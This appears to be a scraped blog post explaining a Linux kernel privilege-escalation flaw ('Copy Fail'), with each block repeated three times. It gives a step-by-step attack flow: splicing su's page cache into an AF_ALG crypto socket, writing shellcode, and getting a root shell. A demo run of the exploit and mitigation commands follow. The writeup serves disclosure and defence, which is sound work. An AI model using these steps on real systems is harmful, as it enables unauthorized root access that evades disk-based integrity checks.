User runs /usr/bin/su ↓
First time → kernel reads from disk → stores in RAM (page cache) ↓
Next time → kernel serves from RAM directly (faster) ↓
All processes share the same cached pages
User runs /usr/bin/su ↓
First time → kernel reads from disk → stores in RAM (page cache) ↓
Next time → kernel serves from RAM directly (faster) ↓
All processes share the same cached pages
User runs /usr/bin/su ↓
First time → kernel reads from disk → stores in RAM (page cache) ↓
Next time → kernel serves from RAM directly (faster) ↓
All processes share the same cached pages
/usr/bin/su has permissions: -rwsr-xr-x ↑ 's' = setuid bit Normal binary → runs as YOU (the caller)
Setuid binary → runs as the FILE OWNER (root) If you inject code into su and run it → your code executes as root
/usr/bin/su has permissions: -rwsr-xr-x ↑ 's' = setuid bit Normal binary → runs as YOU (the caller)
Setuid binary → runs as the FILE OWNER (root) If you inject code into su and run it → your code executes as root
/usr/bin/su has permissions: -rwsr-xr-x ↑ 's' = setuid bit Normal binary → runs as YOU (the caller)
Setuid binary → runs as the FILE OWNER (root) If you inject code into su and run it → your code executes as root
Normal socket → sends data over network
AF_ALG socket → sends data through kernel's crypto engine socket(AF_ALG, SOCK_SEQPACKET, 0)
setsockopt → "use authencesn(hmac(sha256),cbc(aes))"
Now feed data in → kernel encrypts it for you
Normal socket → sends data over network
AF_ALG socket → sends data through kernel's crypto engine socket(AF_ALG, SOCK_SEQPACKET, 0)
setsockopt → "use authencesn(hmac(sha256),cbc(aes))"
Now feed data in → kernel encrypts it for you
Normal socket → sends data over network
AF_ALG socket → sends data through kernel's crypto engine socket(AF_ALG, SOCK_SEQPACKET, 0)
setsockopt → "use authencesn(hmac(sha256),cbc(aes))"
Now feed data in → kernel encrypts it for you
Normal read(): Disk → page cache → YOUR program's memory → destination ↑ data passes through you splice(): Disk → page cache → destination (kernel handles it directly) ↑ your program never touches the data ↑ the ACTUAL page cache pages get wired in
Normal read(): Disk → page cache → YOUR program's memory → destination ↑ data passes through you splice(): Disk → page cache → destination (kernel handles it directly) ↑ your program never touches the data ↑ the ACTUAL page cache pages get wired in
Normal read(): Disk → page cache → YOUR program's memory → destination ↑ data passes through you splice(): Disk → page cache → destination (kernel handles it directly) ↑ your program never touches the data ↑ the ACTUAL page cache pages get wired in
BEFORE 2017 (safe): splice(su → AF_ALG socket) ↓ Input pages: [su's page cache] Output pages: [separate kernel buffer] ← scratch write goes HERE (safe) AFTER 2017 optimization (buggy): splice(su → AF_ALG socket) ↓ Input pages: [su's page cache] ↕ ← src = dst (in-place optimization) Output pages: [su's page cache] ← scratch write goes HERE (su's RAM!!!)
BEFORE 2017 (safe): splice(su → AF_ALG socket) ↓ Input pages: [su's page cache] Output pages: [separate kernel buffer] ← scratch write goes HERE (safe) AFTER 2017 optimization (buggy): splice(su → AF_ALG socket) ↓ Input pages: [su's page cache] ↕ ← src = dst (in-place optimization) Output pages: [su's page cache] ← scratch write goes HERE (su's RAM!!!)
BEFORE 2017 (safe): splice(su → AF_ALG socket) ↓ Input pages: [su's page cache] Output pages: [separate kernel buffer] ← scratch write goes HERE (safe) AFTER 2017 optimization (buggy): splice(su → AF_ALG socket) ↓ Input pages: [su's page cache] ↕ ← src = dst (in-place optimization) Output pages: [su's page cache] ← scratch write goes HERE (su's RAM!!!)
ATTACKER (normaluser) KERNEL
───────────────────── ────── 1. open("/usr/bin/su") → file descriptor to su 2. socket(AF_ALG) → crypto socket opened setsockopt(authencesn...) → algorithm configured 3. splice(su_fd → socket) → su's page cache pages wired directly into crypto engine I/O 4. sendmsg() → crypto runs carefully chosen assoclen 4-byte scratch write + cryptlen lands at target offset inside su's page cache 5. repeat for each → shellcode injected 4 bytes of shellcode byte by byte into RAM 6. os.system("su") → kernel executes RAM version (not disk version) ↓ setuid(0) → root execve("/bin/sh") → shell
ATTACKER (normaluser) KERNEL
───────────────────── ────── 1. open("/usr/bin/su") → file descriptor to su 2. socket(AF_ALG) → crypto socket opened setsockopt(authencesn...) → algorithm configured 3. splice(su_fd → socket) → su's page cache pages wired directly into crypto engine I/O 4. sendmsg() → crypto runs carefully chosen assoclen 4-byte scratch write + cryptlen lands at target offset inside su's page cache 5. repeat for each → shellcode injected 4 bytes of shellcode byte by byte into RAM 6. os.system("su") → kernel executes RAM version (not disk version) ↓ setuid(0) → root execve("/bin/sh") → shell
ATTACKER (normaluser) KERNEL
───────────────────── ────── 1. open("/usr/bin/su") → file descriptor to su 2. socket(AF_ALG) → crypto socket opened setsockopt(authencesn...) → algorithm configured 3. splice(su_fd → socket) → su's page cache pages wired directly into crypto engine I/O 4. sendmsg() → crypto runs carefully chosen assoclen 4-byte scratch write + cryptlen lands at target offset inside su's page cache 5. repeat for each → shellcode injected 4 bytes of shellcode byte by byte into RAM 6. os.system("su") → kernel executes RAM version (not disk version) ↓ setuid(0) → root execve("/bin/sh") → shell
setuid(0) → lock in root privileges
execve("/bin/sh") → replace process with a shell exit(0) → cleanup if execve fails
setuid(0) → lock in root privileges
execve("/bin/sh") → replace process with a shell exit(0) → cleanup if execve fails
setuid(0) → lock in root privileges
execve("/bin/sh") → replace process with a shell exit(0) → cleanup if execve fails
Disk: sha256(/usr/bin/su) = a1b2c3d4... ✅ clean
RAM: su's page cache = [shellcode] ☠️ compromised File integrity tools (AIDE, Tripwire) → read from disk → report clean
auditd file watches → watch disk writes → see nothing
Rebooting → RAM wiped → su reloads clean from disk
Disk: sha256(/usr/bin/su) = a1b2c3d4... ✅ clean
RAM: su's page cache = [shellcode] ☠️ compromised File integrity tools (AIDE, Tripwire) → read from disk → report clean
auditd file watches → watch disk writes → see nothing
Rebooting → RAM wiped → su reloads clean from disk
Disk: sha256(/usr/bin/su) = a1b2c3d4... ✅ clean
RAM: su's page cache = [shellcode] ☠️ compromised File integrity tools (AIDE, Tripwire) → read from disk → report clean
auditd file watches → watch disk writes → see nothing
Rebooting → RAM wiped → su reloads clean from disk
$ uname -r
6.17.0-20-generic $ id
uid=1001(normaluser) gid=1001(normaluser) groups=1001(normaluser) $ sha256sum /usr/bin/su
44900c631391f0d60eb6d271b8374a08dc1d9be....... /usr/bin/su
$ uname -r
6.17.0-20-generic $ id
uid=1001(normaluser) gid=1001(normaluser) groups=1001(normaluser) $ sha256sum /usr/bin/su
44900c631391f0d60eb6d271b8374a08dc1d9be....... /usr/bin/su
$ uname -r
6.17.0-20-generic $ id
uid=1001(normaluser) gid=1001(normaluser) groups=1001(normaluser) $ sha256sum /usr/bin/su
44900c631391f0d60eb6d271b8374a08dc1d9be....... /usr/bin/su
$ python3 copy_fail_exp.py
#
$ python3 copy_fail_exp.py
#
$ python3 copy_fail_exp.py
#
# id
uid=0(root) gid=0(root) groups=0(root) # whoami
root  # sha256sum /usr/bin/su
44900c631391f0d60eb6d271b8374a08dc1d9be....... /usr/bin/su ↑ exact same hash — disk was never touched
# id
uid=0(root) gid=0(root) groups=0(root) # whoami
root  # sha256sum /usr/bin/su
44900c631391f0d60eb6d271b8374a08dc1d9be....... /usr/bin/su ↑ exact same hash — disk was never touched
# id
uid=0(root) gid=0(root) groups=0(root) # whoami
root  # sha256sum /usr/bin/su
44900c631391f0d60eb6d271b8374a08dc1d9be....... /usr/bin/su ↑ exact same hash — disk was never touched
uname -r
# Vulnerable if kernel is between 4.14 and 6.18.21
# or 6.19.x below 6.19.12
uname -r
# Vulnerable if kernel is between 4.14 and 6.18.21
# or 6.19.x below 6.19.12
uname -r
# Vulnerable if kernel is between 4.14 and 6.18.21
# or 6.19.x below 6.19.12
# Block the module
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf # Remove from memory if loaded
sudo rmmod algif_aead 2>/dev/null || true # Verify it is blocked
sudo modprobe algif_aead
# Expected: modprobe: ERROR: could not insert 'algif_aead'
# Block the module
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf # Remove from memory if loaded
sudo rmmod algif_aead 2>/dev/null || true # Verify it is blocked
sudo modprobe algif_aead
# Expected: modprobe: ERROR: could not insert 'algif_aead'
# Block the module
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf # Remove from memory if loaded
sudo rmmod algif_aead 2>/dev/null || true # Verify it is blocked
sudo modprobe algif_aead
# Expected: modprobe: ERROR: could not insert 'algif_aead'
sudo apt update && sudo apt full-upgrade -y
sudo reboot
uname -r # confirm new kernel version
sudo apt update && sudo apt full-upgrade -y
sudo reboot
uname -r # confirm new kernel version
sudo apt update && sudo apt full-upgrade -y
sudo reboot
uname -r # confirm new kernel version
sudo dnf clean metadata && sudo dnf upgrade -y
sudo reboot
sudo dnf clean metadata && sudo dnf upgrade -y
sudo reboot
sudo dnf clean metadata && sudo dnf upgrade -y
sudo reboot
$ python3 copy_fail_exp.py
Traceback (most recent call last): ...
OSError: [Errno 19] No such device $ id
uid=1001(normaluser) gid=1001(normaluser) groups=1001(normaluser)
$ python3 copy_fail_exp.py
Traceback (most recent call last): ...
OSError: [Errno 19] No such device $ id
uid=1001(normaluser) gid=1001(normaluser) groups=1001(normaluser)
$ python3 copy_fail_exp.py
Traceback (most recent call last): ...
OSError: [Errno 19] No such device $ id
uid=1001(normaluser) gid=1001(normaluser) groups=1001(normaluser) - It affects every mainstream Linux distribution built since 2017
- It requires zero special privileges — any normal user can trigger it
- The entire exploit is 732 bytes of Python
- It leaves no trace on disk — traditional security tools see nothing
- It works on Ubuntu, Amazon Linux, RHEL, SUSE — unmodified, out of the box - Discovery & Technical Writeup: Brian Pak and the team at Xint — xint.io/blog/copy-fail-linux-distributions
- Official PoC: github.com/theori-io/copy-fail-CVE-2026-31431
- Sysdig Analysis & Detection Rules: sysdig.com/blog/cve-2026-31431